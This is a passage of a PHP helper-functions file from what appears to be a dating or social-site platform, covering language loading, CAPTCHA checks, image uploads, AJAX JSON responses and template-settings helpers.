1929 #$msg = Common::parseLinks($msg, '_blank', 'txt_lower_header_color');
1930 return $msg;
1931}
1932
1933if (!function_exists('apache_request_headers')) {
1934
1935 function apache_request_headers()
1936 {
1937 $headers = null;
1938 foreach ($_SERVER as $key => $val) {
1939 if(substr($key, 0, 5) == 'HTTP_') {
1940 $header = substr($key, 5);
1941 if($header != '') {
1942 $titleValues = explode('_', strtolower($header));
1943 if (count($titleValues) > 0) {
1944 foreach ($titleValues as $titleKey => $titleValue) {
1945 $titleValues[$titleKey] = ucfirst($titleValue);
1946 }
1947 $header = implode('-', $titleValues);
1948 }
1949
1950 $headers[$header] = $val;
1951 }
1952 }
1953 }
1954 return $headers;
1955 }
1956
1957}
1958
1959function browserLangs()
1960{
1961 $langs = array();
1962 if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
1963 foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $value) {
1964 if (strpos($value, ';') !== false) {
1965 list($value, ) = explode(';', $value);
1966 }
1967 if (strpos($value, '-') !== false) {
1968 list($value, ) = explode('-', $value);
1969 }
1970 $langs[] = $value;
1971 }
1972 }
1973 return $langs;
1974}
1975
1976function langFindByBrowser()
1977{
1978 global $langsForBrowsers;
1979 $browserLangs = browserLangs();
1980 if (count($browserLangs)) {
1981 foreach ($browserLangs as $browserLang) {
1982 if (isset($langsForBrowsers[$browserLang]) && !Common::getOption($langsForBrowsers[$browserLang],'hide_language_'.Common::getOption('site_part', 'main')) && Common::isLanguageFileExists($langsForBrowsers[$browserLang],Common::getOption('site_part', 'main'))) {
1983 return $langsForBrowsers[$browserLang];
1984 }
1985 }
1986 }
1987
1988 return false;
1989}
1990
1991function loadAndCountLanguageWords($lang, $part) {
1992 global $g;
1993 if(file_exists(Common::getOption('dir_lang', 'path') . $part . '/' . $lang . '/language.php')){
1994 include (Common::getOption('dir_lang', 'path') . $part . '/' . $lang . '/language.php');
1995 if(isset($l)){
1996 return wordsCountInLanguage($l);
1997 }
1998 }
1999 return 0;
2000
2001}
2002
2003function wordsCountInLanguage($l)
2004{
2005 $counter = 0;
2006 foreach($l as $section => $sectionValues) {
2007 foreach($sectionValues as $key => $value) {
2008 $value = strip_tags($value);
2009 $value = preg_replace('/{(\S*)}/Uis', '', $value);
2010 $value = preg_replace('/\[(\S*)\]/Uis', '', $value);
2011 $value = preg_replace('/[^\p{L}\s]/', '', $value);
2012 $valueParts = explode(' ', $value);
2013 foreach($valueParts as $valuePart) {
2014 if(trim($valuePart) != '') {
2015 $counter++;
2016 }
2017 }
2018 }
2019 }
2020 return $counter;
2021}
2022
2023function newLineToParagraph($text, $tagsNoWrap = array())
2024{
2025 $tagsNoWrapCheck = (is_array($tagsNoWrap) && count($tagsNoWrap) > 0);
2026
2027 $text = str_replace("\r", "\n", $text);
2028
2029 $textParts = explode("\n\n", $text);
2030
2031 $textNew = '';
2032 foreach($textParts as $textPart) {
2033 $textPart = trim($textPart);
2034 if($textPart != '') {
2035 $tagExists = false;
2036 if($tagsNoWrapCheck) {
2037 foreach($tagsNoWrap as $tag) {
2038 if(strpos($textPart, $tag) === 0) {
2039 $tagExists = true;
2040 break;
2041 }
2042 }
2043 }
2044
2045 if(!$tagExists) {
2046 $textPart = '<p>' . nl2br($textPart) . '</p>';
2047 }
2048
2049 $textNew .= $textPart;
2050 }
2051 }
2052
2053 return $textNew;
2054}
2055
2056function loadLanguage($lang, $part, $l = null)
2057{
2058 global $g;
2059 // some languages have $g values in phrases so requires global variable
2060#var_dump();
2061
2062 $file = Common::getOption('dir_lang', 'path') . $part . '/' . $lang . '/language.php';
2063 if(file_exists($file))
2064 include ($file);
2065
2066 return $l;
2067}
2068
2069function loadLanguageAdmin($l = null)
2070{
2071 global $g;
2072 // some languages have $g values in phrases so requires global variable
2073
2074 $l = loadLanguage('default', 'main', $l);
2075
2076 $mainLanguage = Config::getOption('lang', 'main');
2077
2078 if($mainLanguage != 'default') {
2079 $l = loadLanguage($mainLanguage, 'main', $l);
2080 }
2081
2082 $langAdminLoaded = Common::getOption('lang_loaded', 'main');
2083 $l = loadLanguage($langAdminLoaded, 'main', $l);
2084
2085 return $l;
2086}
2087
2088function loadLanguageAdminMobile()
2089{
2090 $l = null;
2091
2092 $l = loadLanguage('default', 'mobile');
2093 $langValueMobile = Common::getOption('mobile', 'lang_value');
2094 if ($langValueMobile != 'default') {
2095 $l = loadLanguage($langValueMobile, 'mobile', $l);
2096 }
2097 $langAdmin = Config::getOption('lang','administration');
2098 if(get_cookie('set_language_administration')) {
2099 $l = loadLanguage(get_cookie('set_language_administration'), 'mobile', $l);
2100 } elseif ($langAdmin != 'default' && $langAdmin != $langValueMobile) {
2101 $l = loadLanguage($langAdmin, 'mobile', $l);
2102 }
2103 return $l;
2104}
2105
2106function loadLanguageSite($userLang)
2107{
2108 global $g;
2109
2110 $l = null;
2111 $l = loadLanguage('default', 'main');
2112 $currentLang = Common::getOption('main','lang_value');
2113 if($currentLang != 'default')
2114 $l = loadLanguage($currentLang, 'main', $l);
2115
2116 $l = loadLanguage($userLang, 'main', $l);
2117 return $l;
2118}
2119
2120function loadLanguageSiteMobile($language)
2121{
2122 $l = null;
2123 $l = loadLanguage('default', 'main');
2124 $l = loadLanguage('default', 'mobile', $l);
2125 if($language != 'default') {
2126 $l = loadLanguage($language, 'main', $l);
2127 $l = loadLanguage($language, 'mobile', $l);
2128 }
2129
2130 return $l;
2131}
2132
2133function countFrameworks($tmpl){
2134 global $g;
2135 if(empty($g['path']['dir_tmpl'])) {
2136 $g['path']['dir_tmpl'] = '../_frameworks';
2137 }
2138 if(!file_exists($g['path']['dir_tmpl'].'/'.$tmpl)) {
2139 return false;
2140 }
2141 $path = scandir($g['path']['dir_tmpl'].'/'.$tmpl);
2142 unset($path[0]);
2143 unset($path[1]);
2144 foreach($path as $item) {
2145 if(is_dir($g['path']['dir_tmpl'].'/'.$tmpl.'/'.$item)) {
2146 return true;
2147 }
2148 }
2149 return false;
2150}
2151
2152
2153function check_captcha($value,$msg="",$skip=false,$js = true)
2154{
2155 if ( isset($_SESSION['securimage_code_value']) && !empty($_SESSION['securimage_code_value']) ) {
2156 if ( $_SESSION['securimage_code_value'] == strtolower(trim($value)) ) {
2157 $correct_code = true;
2158 set_session("j_captcha", true);
2159 session_start();
2160 $_SESSION['securimage_code_value'] = '';
2161 session_write_close();
2162 } else {
2163 $correct_code = false;
2164 }
2165 } else {
2166 $correct_code = false;
2167 }
2168 if ($js == true) {
2169// ERROR MESSAGE
2170 $js = "alert(\"$msg\")";
2171
2172// CORRECT VALUE
2173 if ($correct_code)
2174 $js = "show_load_animation(); document.UploadPhotoForm.submit();";
2175
2176// CORRECT VALUE AND WITHOUT PHOTO
2177 if ($correct_code && $skip)
2178 $js = "location.href='join3.php?cmd=skip';";
2179
2180 $objResponse = new xajaxResponse();
2181 $objResponse->addScript($js);
2182 return $objResponse;
2183 }
2184 else {
2185 return $correct_code;
2186 }
2187}
2188
2189function check_captcha_mod($value, $msg='', $skip=false, $js = true, $submitForm = '', $path = '../')
2190{
2191 $correct_code = true;
2192 $reloadCaptcha = '';
2193 if (Common::isOptionActive('recaptcha_enabled')) {
2194 require_once($path . '_server/securimage/initRecaptcha.php');
2195 $secretKey = Common::getOption('recaptcha_secret_key');
2196 $recaptcha = new \ReCaptcha\ReCaptcha($secretKey);
2197 $resp = $recaptcha->verify($value, $_SERVER['REMOTE_ADDR']);
2198 if (!$resp->isSuccess()){
2199 $correct_code = false;
2200 $reloadCaptcha = "grecaptcha.reset(recaptchaWd);";
2201 } else {
2202 set_session("j_captcha", true);
2203 }
2204 } else {
2205 if (!Securimage::check($value)) {
2206 $correct_code = false;
2207 $reloadCaptcha = "$('#captcha_reload').click();$('#captcha_input').val('').focus();";
2208 } else {
2209 set_session("j_captcha", true);
2210 }
2211 }
2212 // always work ajax -> $js = string()
2213 // always work ajax -> $skip = string()
2214 $js = (bool)$js;
2215 $skip = (bool)$skip;
2216 if ($js == true) {
2217 // ERROR MESSAGE
2218 $js = $reloadCaptcha . "alert(\"$msg\");";
2219
2220 // CORRECT VALUE
2221 if ($correct_code) {
2222 if ($submitForm == '') {
2223 $submitForm = 'UploadPhotoForm';
2224 }
2225 $js = "show_load_animation(); document.{$submitForm}.submit();";
2226 }
2227
2228 // CORRECT VALUE AND WITHOUT PHOTO
2229 if ($correct_code && $skip)
2230 $js = "parent.location.href='join3.php?cmd=skip';";
2231
2232 $objResponse = new xajaxResponse();
2233 $objResponse->addScript($js);
2234 return $objResponse;
2235 } else {
2236 return $correct_code;
2237 }
2238}
2239
2240function mb_ucfirst($str, $encoding = 'UTF-8')
2241{
2242 $str = mb_ereg_replace('^[\ ]+', '', $str);
2243 $str = mb_strtoupper(pl_substr($str, 0, 1, $encoding), $encoding).
2244 pl_substr($str, 1, pl_strlen($str), $encoding);
2245 return $str;
2246}
2247
2248function mb_ucwords($str, $encoding = 'UTF-8')
2249{
2250 $result = '';
2251 $parts = explode(' ', mb_strtolower($str, $encoding));
2252 for ($i = 0; $i <= count($parts) - 1; $i++) {
2253 $parts[$i] = mb_ucfirst($parts[$i], $encoding);
2254 }
2255
2256 return implode(' ', $parts);
2257}
2258
2259//Add next value in mail chains subject (Re:, Re[2]:, Re[3]:, etc)
2260function mail_chain($subject, $type = 'Re')
2261{
2262 $subject = trim($subject);
2263 $subjectSrc = $subject;
2264 $firstChainItem = "$type:";
2265
2266 $pos = strpos($subject, $type);
2267
2268 if($pos === 0) {
2269 if(strpos($subject, $firstChainItem) === 0) {
2270 $subject = $type . '[2]: ' . substr($subject, strlen($firstChainItem));
2271 } elseif (preg_match('/^' . $type . '\[(\d*)\]:/', $subject, $match)) {
2272 $subject = substr_replace($subject, $type . '[' . ($match[1] + 1) . ']', 0, strlen("{$type}[{$match[1]}]"));
2273 }
2274 }
2275
2276 if($subjectSrc === $subject) {
2277 $subject = $firstChainItem . ' ' . $subject;
2278 }
2279
2280 return $subject;
2281
2282
2283 // old version
2284 $pos = strpos($subject, $type);
2285 if ($pos === FALSE || $pos > 0) {
2286 return $type.': ' . $subject;
2287 } else {
2288 return preg_match('/'.$type.'\[(\d*)\]:/', $subject, $match) ? str_replace("{$type}[{$match[1]}]: ", $type.'[' . ($match[1] + 1) . ']: ', $subject) : $type.'[2]:'. substr($subject, 3);
2289 }
2290}
2291
2292function mb_to_bytes($mb)
2293{
2294 return intval($mb)*1048576;
2295}
2296
2297function sanitize_upload_name_all($file_name)
2298{
2299 return str_replace(array('/', '\\', '.'), array('', '', ''), $file_name);
2300}
2301
2302function readAllFileArrayOfDir($dir, $prf = 'Background', $sort = SORT_NUMERIC, $template = '', $uploadedByYou = '', $extension = 'jpg')
2303{
2304 $files = array();
2305 if ($uploadedByYou != '') {
2306 $uploadedByYou = ' '. $uploadedByYou;
2307 }
2308 if (is_dir($dir)) {
2309 if ($dh = opendir($dir)) {
2310 while (($file = readdir($dh)) !== false) {
2311 if ($file != '.' && $file != '..') {
2312 if ($template != '') {
2313 if (strpos($file, $template) !== false && !strpos($file, 'src')) {
2314 $name = explode('_', $file);
2315 $name = explode('.', $name[count($name)-1]);
2316 if ($name[0] == 'None'){
2317 $files[$name[0] . ".{$extension}"] = $name[0] . $uploadedByYou;
2318 } else {
2319 $files[$name[0] . ".{$extension}"] = $prf . ' ' . $name[0] . $uploadedByYou;
2320 }
2321 }
2322 } else {
2323 $name = explode('.', $file);
2324 if ($name[0] == 'None'){
2325 $files[$file] = $name[0] . $uploadedByYou;
2326 } else {
2327 $files[$file] = $prf . ' ' . $name[0] . $uploadedByYou;
2328 }
2329 }
2330 }
2331 }
2332 closedir($dh);
2333 }
2334 }
2335 if (!empty($sort)) {
2336 ksort($files, $sort);
2337 }
2338
2339 return $files;
2340}
2341
2342function getNumUploadFile($files, $i)
2343{
2344 foreach ($files as $value) {
2345 if ($i != $value) {
2346 break;
2347 }
2348 $i++;
2349 }
2350 return $i;
2351}
2352
2353function validUploadFileImage($upload, $errorSize, $width, $height)
2354{
2355 $error = '';
2356 if (isset($_FILES[$upload])) {
2357 $uploadError = $_FILES[$upload]['error'];
2358 if ($uploadError == 0) {
2359 $tmpFile = $_FILES[$upload]['tmp_name'];
2360 if (Image::isValid($tmpFile)) {
2361 $imgSz = @getimagesize($tmpFile);
2362 if ($imgSz[0] < $width || $imgSz[1] < $height) {
2363 $error = $errorSize;
2364 }
2365 } else {
2366 $error = 8;
2367 }
2368 } else {
2369 $error = $uploadError;
2370 }
2371 } else {
2372 $error = 4;
2373 }
2374
2375 return $error;
2376}
2377
2378function uploadFileImagesCropped($upload, $errorSize, $width, $height, $file, $delete = true, $dir = 'tmpl', $isResizeW = false)
2379{
2380 global $g;
2381
2382 $error = validUploadFileImage($upload, $errorSize, $width, $height);
2383
2384 if ($error == '') {
2385 $im = new Image();
2386 if ($im->loadImage($_FILES[$upload]['tmp_name'])) {
2387 if ($isResizeW) {
2388 $im->resizeW($width);
2389 } else {
2390 $im->cropped($width, $height);
2391 }
2392 $prepareFile = explode('.', $file);
2393 $patch = Common::getOption('url_files', 'path') . $dir . '/';
2394 $file = $patch . $file;
2395 $fileSrc = $patch . $prepareFile[0] . '_src.' . $prepareFile[1];
2396 Common::saveFileSize(array($file, $fileSrc), false);
2397 if (file_exists($file) && $delete) {
2398 unlink($file);
2399 }
2400 if (file_exists($fileSrc) && $delete) {
2401 unlink($fileSrc);
2402 }
2403 $im->saveImage($file, $g['image']['quality_orig']);
2404 $im->loadImage($_FILES[$upload]['tmp_name']);
2405 $im->saveImage($fileSrc, $g['image']['quality_orig']);
2406 Common::saveFileSize(array($file, $fileSrc));
2407 unset($im);
2408 }
2409 }
2410
2411 return $error;
2412 }
2413
2414function getParamsFile($dirFile, $addPrfFile, $setOptions, $compresion = '', $extension = 'jpg', $sitePart = 'main', $module = 'options')
2415{
2416 global $g;
2417
2418 $dir = Common::getOption('url_files', 'path') . 'tmpl';
2419 $part = Common::getOption($sitePart, 'tmpl');
2420 $dirTmpl = Common::getOption('dir_tmpl_' . $sitePart, 'tmpl') . 'images/' . $dirFile;
2421
2422 $files = readAllFileArrayOfDir($dirTmpl, '');
2423 $bgCount = count($files);
2424 $templateFile = "{$part}{$addPrfFile}";
2425 $files = readAllFileArrayOfDir($dir, '', SORT_NUMERIC, $templateFile);
2426 $i = getNumUploadFile($files, $bgCount + 1);
2427 $name = "{$i}.{$extension}";
2428 $nameSrc = "{$i}_src.{$extension}";
2429 $dirSave = $dir . '/' . $templateFile;
2430 $file = "{$dirSave}{$name}";
2431 $fileSrc = "{$dirSave}{$nameSrc}";
2432 $nameBody = "{$templateFile}{$i}";
2433
2434 $ratio = Common::getOption($compresion, $module);
2435 if (empty($ratio)) {
2436 $ratio = $g['image']['quality'];
2437 }
2438
2439 return array('name' => $name, 'file' => $file, 'fileSrc' => $fileSrc, 'ratio' => $ratio, 'name_body' => $nameBody);
2440 }
2441
2442 function getFileUrl($dirFile, $file, $addPrfFile, $setOptions, $setOptionsDefault, $sitePart = 'main', $module = 'options')
2443 {
2444 global $g;
2445
2446 $urlTmpl = $g['tmpl']['url_tmpl_' . $sitePart] . "images/{$dirFile}/";
2447 $path = "{$urlTmpl}{$file}";
2448
2449 if (file_exists($path) && !empty($file)) {
2450 $src = $path;
2451 } else {
2452 $urlFiles = $g['path']['url_files'] . 'tmpl/';
2453 $fileUser = basename($g['tmpl']['url_tmpl_' . $sitePart]) . "{$addPrfFile}{$file}";
2454 $path = "{$urlFiles}{$fileUser}";
2455 if (file_exists($path)) {
2456 $src = $path;
2457 } else {
2458 $fileDefault = Common::getOption($setOptionsDefault, 'template_options');
2459 $src = "{$urlTmpl}{$fileDefault}";
2460 Config::update($module, $setOptions, $fileDefault);
2461 }
2462 }
2463
2464 return $src;
2465 }
2466
2467 function isUsersFileExists($dirs, $file)
2468 {
2469 $dir = Common::getOption('url_files', 'path') . $dirs;
2470 $lang = Common::getOption('lang_loaded', 'main');
2471 $lang = ($lang == 'default') ? '' : '_' . $lang;
2472 $param = explode('.', $file);
2473 $fileLang = $param[0] . $lang . '.' . $param[1];
2474
2475 if (file_exists($dir . '/' . $file) || file_exists($dir . '/' . $fileLang)) {
2476 return true;
2477 };
2478 return false;
2479 }
2480
2481 function saveConvertImage($input, $type, $addPrfFile, $setOptions, $compresion = '', $extension = 'png')
2482 {
2483 $fileParams = getParamsFile($type, $addPrfFile, $setOptions, $compresion, $extension);
2484
2485 $image = new uploadImage($_FILES[$input]['tmp_name']);
2486 $image->image_convert = $extension;
2487 $image->file_new_name_body = $fileParams['name_body'];
2488 $image->file_new_name_ext = $extension;
2489
2490 $error = '';
2491 if (!$image->uploaded) {
2492 $error = $image->error;
2493 }
2494 $image->Process(Common::getOption('url_files', 'path') . 'tmpl');
2495 if (!$image->processed) {
2496 $error .= '\r\n' . $image->error;
2497 }
2498 unset($image);
2499 if ($error == '') {
2500 Common::saveFileSize($fileParams['file']);
2501 }
2502 return array('error' => '', 'file_name' => $fileParams['name']);
2503 }
2504
2505 function getParsePageAjax($page)
2506 {
2507 global $g;
2508
2509 $page->init();
2510 $page->action();
2511 $tmp = null;
2512
2513 return $page->parse($tmp, true);
2514 }
2515
2516 function loadPageContentAjax($page)
2517 {
2518 global $p;
2519 if (get_param('upload_page_content_ajax')) {
2520 $page->init();
2521 $page->action();
2522 $page->parseSEO();
2523 $cacheLoadPages = get_param_array('cache_upload_pages_ajax');
2524 if (!isset($cacheLoadPages[$p])) {
2525 $page->parseScriptInit();
2526 }
2527 $tmp = null;
2528 echo getResponseDataAjax($page->parse($tmp, true));
2529 exit;
2530 } else {
2531 $page->parseScriptInit();
2532 }
2533 }
2534
2535 function getResponseAjaxByAuth($isAuth, $data = true)
2536 {
2537 $response['status'] = 1;
2538
2539 if ($data === 'error') {
2540 $data = false;
2541 }
2542
2543 $response['data'] = ($isAuth) ? $data : 'please_login';
2544
2545 return defined('JSON_UNESCAPED_UNICODE') ? json_encode($response, JSON_UNESCAPED_UNICODE) : json_encode($response);
2546 }
2547
2548
2549 function getResponsePageAjaxByAuth($isAuth, &$page)
2550 {
2551 $return = '';
2552 if ($isAuth && $page !== false) {
2553 $page->init();
2554 $page->action();
2555 $tmp = null;
2556 $return = $page->parse($tmp, true);
2557 }
2558 return getResponseAjaxByAuth($isAuth, $return);
2559 }
2560
2561
2562 function getResponseDataAjaxByAuth($data = true)
2563 {
2564 $response['status'] = 1;
2565 if ($data === 'error') {
2566 $data = false;
2567 }
2568 $response['data'] = guid() ? $data : 'please_login';
2569
2570 return json_encode($response);
2571 }
2572
2573 function getResponseDataAjax($data = true)
2574 {
2575 $response['status'] = 1;
2576 if ($data === 'error') {
2577 $data = false;
2578 }
2579 $response['data'] = $data;
2580
2581 return defined('JSON_UNESCAPED_UNICODE') ? json_encode($response, JSON_UNESCAPED_UNICODE) : json_encode($response);
2582 }
2583
2584 function getResponsePageAjaxAuth(&$page)
2585 {
2586 $return = '';
2587 $isAuth = guid() ? true : false;
2588 if ($isAuth && $page !== false) {
2589 $page->init();
2590 $page->action();
2591 $tmp = null;
2592 $return = $page->parse($tmp, true);
2593 $return = trim($return);
2594 }
2595 return getResponseDataAjaxByAuth($return);
2596 }
2597
2598 function get_json_encode($data, $status = 1)
2599 {
2600 $response['status'] = $status;
2601 $response['page'] = $data;
2602
2603 return json_encode($response);
2604 }
2605
2606 function shuffle_assoc($array)
2607 {
2608 $keys = array_keys($array);
2609 shuffle($keys);
2610 $result = array();
2611 foreach ($keys as $key){
2612 $result[$key] = $array[$key];
2613 }
2614 return $result;
2615 }
2616
2617 function lAjax($msg, $prf = '#js:error:')
2618 {
2619 //$msg = str_replace('<br>', '\r\n', $msg);
2620 return (get_param('ajax')) ? $prf . l($msg) : l($msg);
2621 }
2622
2623 function getMsgAjax($msg, $prf = '#js:error:', $br = '<br>')
2624 {
2625 return (get_param('ajax')) ? "{$prf}{$msg}" : "{$msg}{$br}";
2626 }
2627
2628 function redirectAjax($to = '')
2629 {
2630 $ajax = get_param('ajax');
2631 if (!$ajax) {
2632 redirect($to);
2633 }
2634 }
2635
2636 function htmlToJs($html) {
2637 return str_replace(array("\\","'","\n","\r"), array("\\\\","\\'","\\\n",""), trim($html));
2638 }
2639
2640 function toJs($value){
2641 $value = addslashes(he_decode($value));
2642 $value = str_replace(array("\r\n", "\n"), '\n', $value);
2643 return $value;
2644 }
2645
2646 function toAttr($value){
2647 $value = he_decode($value);
2648 return he($value);
2649 }
2650
2651 function checkByAuth()
2652 {
2653 global $g;
2654
2655 if (!guid()) {
2656 if (get_param('ajax')) {
2657 die(getResponseDataAjaxByAuth());
2658 } else {
2659 redirect($g['path']['url_main'] . Common::pageUrl('login'));
2660 }
2661 }
2662 }
2663
2664 function ratingFloatToStrTwoDecimalPoint($value)
2665 {
2666 $s = strval($value);
2667 if (strpos($s, '.') === false) {
2668 $s .= '.';
2669 }
2670 $s .= '00';
2671 return mb_substr($s, 0, 4, 'UTF-8');
2672 }
2673
2674function getImageBright($path, $imageGranularity = 10){
2675
2676 $imageGranularity = max(1, abs((int)$imageGranularity));
2677
2678 $size = @getimagesize($path);
2679 if($size === false){
2680 return false;
2681 }
2682
2683 switch($size[2]){
2684 case 1:
2685 if (!($img = imageCreateFromGif($path))) {
2686 return false;
2687 }
2688 break;
2689 case 2:
2690 if (!($img = imageCreateFromJpeg($path))) {
2691 return false;
2692 }
2693 break;
2694 case 3:
2695 if (!($img = imageCreateFromPng($path))) {
2696 return false;
2697 }
2698 break;
2699 default:
2700 return false;
2701 }
2702 if (!$img){
2703 return false;
2704 }
2705
2706 $num = 0;
2707 $colors = 0;
2708 for($x = 0; $x < $size[0]; $x += $imageGranularity){
2709 for($y = 0; $y < $size[1]; $y += $imageGranularity) {
2710 $thisColor = imagecolorat($img, $x, $y);
2711 $rgb = imagecolorsforindex($img, $thisColor);
2712 $red = round(round(($rgb['red'] / 0x33)) * 0x33);
2713 $green = round(round(($rgb['green'] / 0x33)) * 0x33);
2714 $blue = round(round(($rgb['blue'] / 0x33)) * 0x33);
2715 $colors += ((0.3*$red) + (0.59*$green) + (0.11*$blue))/255;
2716 //$colors[] = ($red * 0.8 + $green + $blue * 0.2) / 510 * 100;
2717 $num++;
2718 }
2719 }
2720
2721 return round($colors/$num,2);
2722}
2723
2724function changeLinkColorOfBackgroundBright($path, $imageGranularity = 10){
2725 $bright = floatval(getImageBright($path, $imageGranularity));
2726 return $bright > .6;
2727}
2728
2729function hex2rgb($hex){
2730 $hex = str_replace("#", "", $hex);
2731
2732 if(mb_strlen($hex, 'UTF-8') == 3) {
2733 $r = hexdec(substr($hex,0,1).substr($hex,0,1));
2734 $g = hexdec(substr($hex,1,1).substr($hex,1,1));
2735 $b = hexdec(substr($hex,2,1).substr($hex,2,1));
2736 } else {
2737 $r = hexdec(substr($hex,0,2));
2738 $g = hexdec(substr($hex,2,2));
2739 $b = hexdec(substr($hex,4,2));
2740 }
2741 $rgb = array($r, $g, $b);
2742 return $rgb;
2743}
2744
2745/*
2746 * $color - Hex Color
2747 */
2748function isColorBright($color){
2749 $rgb = hex2rgb($color);
2750 $bright = ((0.3*$rgb[0]) + (0.59*$rgb[1]) + (0.11*$rgb[2]))/255;
2751 return $bright > .7;
2752}
2753
2754
2755function db_options_ul($sql, $selected = "", $r = 0, $sort = false)
2756{
2757 DB::query($sql, $r);
2758 $list = '';
2759 $items = array();
2760 while ($row = DB::fetch_row($r)){
2761 $items[$row[0]] = l($row[1]);
2762 $class = ($row[0] == $selected) ? 'class="selected"' : '';
2763 $list .= '<li id="' . $row[0] . '" ' . $class . '><span>' . l($row[1]) . '</span></li>';
2764 }
2765
2766 if($sort) {
2767 $items = Common::sortArrayByLocale($items);
2768 $list = '';
2769 foreach($items as $key => $value) {
2770 $class = ($key == $selected) ? 'class="selected"' : '';
2771 $list .= '<li id="' . $key . '" ' . $class . '><span>' . $value . '</span></li>';
2772 }
2773 }
2774
2775 return $list;
2776}
2777
2778function db_options($sql, $selected = '', $r = 0, $sort = false, $isFirstValueEmpty = false, $name = '')
2779{
2780 $ret = '';
2781
2782 $rows = DB::rows($sql, $r, true);
2783 DB::free_result($r);
2784
2785 $count = count($rows);
2786
2787 if($count) {
2788
2789 if($sort) {
2790 $items = array();
2791 foreach($rows as $row) {
2792 $items[$row[0]] = l($row[1]);
2793 }
2794
2795 $items = Common::sortArrayByLocale($items);
2796
2797 $rows = array();
2798
2799 foreach($items as $itemKey => $itemValue) {
2800 $rows[] = array($itemKey, $itemValue);
2801 }
2802 }
2803
2804 $j = $count;
2805 $i = 0;
2806
2807 $id = '';
2808 if ($isFirstValueEmpty) {
2809 $lPleaseChoose = Common::getPleaseChoose();
2810 if ($name) {
2811 $id = ' id="option_' . $name . '_0" ';
2812 }
2813 $ret .= "<option " . $id . " value=\"0\" " . ((!$selected) ? " selected=\"selected\"" : "") . ">" . $lPleaseChoose . "</option>\n";
2814 }
2815 foreach ($rows as $row) {
2816 $i++;
2817 $selectedCode = '';
2818 if(($i == 1 && $selected === 'first') || ($i == $count && $selected === 'last_option') || ($selected == $row[0])) {
2819 $selectedCode = 'selected="selected"';
2820 }
2821 if ($name) {
2822 $id = ' id="option_' . $name . '_' . $row[0] . '" ';
2823 }
2824 $ret .= "<option " . $id . " value=\"" . $row[0] . "\" " . $selectedCode . ">" . ($sort ? $row[1] : l($row[1])) . "</option>\n";
2825 }
2826
2827 }
2828
2829 return $ret;
2830
2831}
2832
2833function wordsFromTemplate($langWords, $part)
2834{
2835 $tmplWords = array();
2836
2837 $dir = Common::getOption('dir_tmpl_' . $part, 'tmpl');
2838 $files = Common::dirFiles($dir);
2839
2840 if(Common::getOption('name', 'template_options') == 'urban') {
2841 $langSections = array(
2842 'email_not_confirmed.php',
2843 'forget_password.php',
2844 'all',
2845 'search_results.php',
2846 'increase_popularity.php',
2847 'profile_settings.php',
2848 'index.php',
2849 'info.php',
2850 'join.php',
2851 'upgrade.php',
2852 'profile_view.php',
2853 'my_friends.php',
2854 'user_block_list.php',
2855 'mutual_attractions.php',
2856 'users_viewed_me.php',
2857 'users_rated_me.php',
2858 'user_block_edit.php',
2859 );
2860 }
2861
2862 if(is_array($files) && count($files)) {
2863
2864 foreach($files as $file) {
2865
2866 $fileInfo = pathinfo($file);
2867
2868 if(strtolower($fileInfo['extension']) != 'html') {
2869 continue;
2870 }
2871
2872 $text = file_get_contents($dir . $file);
2873
2874 preg_match_all('/\{l\_(\w+)\}/is', $text, $matches);
2875 if(isset($matches[1]) && count($matches[1])) {
2876 foreach($matches[1] as $key) {
2877 foreach($langWords as $langSection => $langItem) {
2878 if(isset($langSections) && !in_array($langSection, $langSections)) {
2879 continue;
2880 }
2881
2882 if(isset($langItem[$key])) {
2883 $tmplWords[$langSection][$key] = $langItem[$key];
2884 }
2885 }
2886 }
2887 }
2888
2889 }
2890 }
2891
2892 return $tmplWords;
2893}
2894
2895function loadTemplateSettings($sitePart, $template, $field = null)
2896{
2897 $dirTmplPath = Common::getOption('dir_tmpl', 'path');
2898 $tmplSettingsFile = $dirTmplPath . "{$sitePart}/{$template}/settings.php";
2899 $tmplSet = 'old';
2900 if(file_exists($tmplSettingsFile)) {
2901 include $tmplSettingsFile;
2902 if(isset($g['template_options']['set'])) {
2903 $tmplSet = $g['template_options']['set'];
2904 }
2905 }
2906
2907 $setSettingsFile = $dirTmplPath . 'common/set_' . $tmplSet . '.php';
2908 if(isset($g['template_options']) && file_exists($setSettingsFile)) {
2909 include $setSettingsFile;
2910 if(isset($g['set_options']) && Common::isValidArray($g['set_options'])) {
2911 $g['template_options'] = array_merge_recursive($g['set_options'], $g['template_options']);
2912 }
2913 }
2914
2915 $templateOptions = isset($g['template_options']) ? $g['template_options'] : null;
2916 if ($templateOptions !== null && isset($templateOptions['fields_available'])) {
2917 if ($templateOptions['fields_not_available'] && isset($templateOptions['fields_not_available'])) {
2918 $templateOptions['fields_not_available'] = array_diff($templateOptions['fields_not_available'], $templateOptions['fields_available']);
2919 }
2920 if ($templateOptions['fields_not_available_admin'] && isset($templateOptions['fields_not_available_admin'])) {
2921 $templateOptions['fields_not_available_admin'] = array_diff($templateOptions['fields_not_available_admin'], $templateOptions['fields_available']);
2922 }
2923 }
2924 if ($field !== null && $templateOptions !== null) {
2925 $templateOptions = isset($g['template_options'][$field]) ? $g['template_options'][$field] : null;
2926 }
2927
2928 return $templateOptions;
2929}
2930
2931function isOptionActiveLoadTemplateSettings($field, $templateOptions = null, $sitePart = '', $template = '')
2932{
2933 if ($templateOptions == null) {
2934 $result = loadTemplateSettings($sitePart, $template, $field);
2935 } else {
2936 $result = isset($templateOptions[$field]) ? $templateOptions[$field] : null;
2937 }
2938 return $result == 'Y';
2939}
2940
2941function getOptionLoadTemplateSettings($field, $templateOptions = null, $sitePart = '', $template = '')
2942{
2943 if ($templateOptions == null) {
2944 $result = loadTemplateSettings($sitePart, $template, $field);
2945 } else {
2946 $result = isset($templateOptions[$field]) ? $templateOptions[$field] : null;
2947 }
2948 return $result;
2949}
2950
2951function getOptionToDefaultLoadTemplateSettings($field, $templateOptions, $default = null)
2952{
2953 $result = getOptionLoadTemplateSettings($field, $templateOptions);
2954 return $result === null ? $default : $result;
2955}
2956
2957function updateLanguage($lang = 'default', $lang_page = 'all', $part = 'main')
2958{
2959 global $g;
2960
2961 $message = '';
2962
2963 $langDir = Common::langPath($part, $g['path']['dir_lang']);
2964 $langPart = $part;
2965
2966 if ($lang != 'default') {
2967 $filename = "{$langDir}{$langPart}/default/language.php";
2968 include($filename);
2969 }
2970
2971 $filename = "{$langDir}{$langPart}/{$lang}/language.php";
2972 include($filename);
2973
2974 $to = "";
2975 $to .= "<?php\r\n";
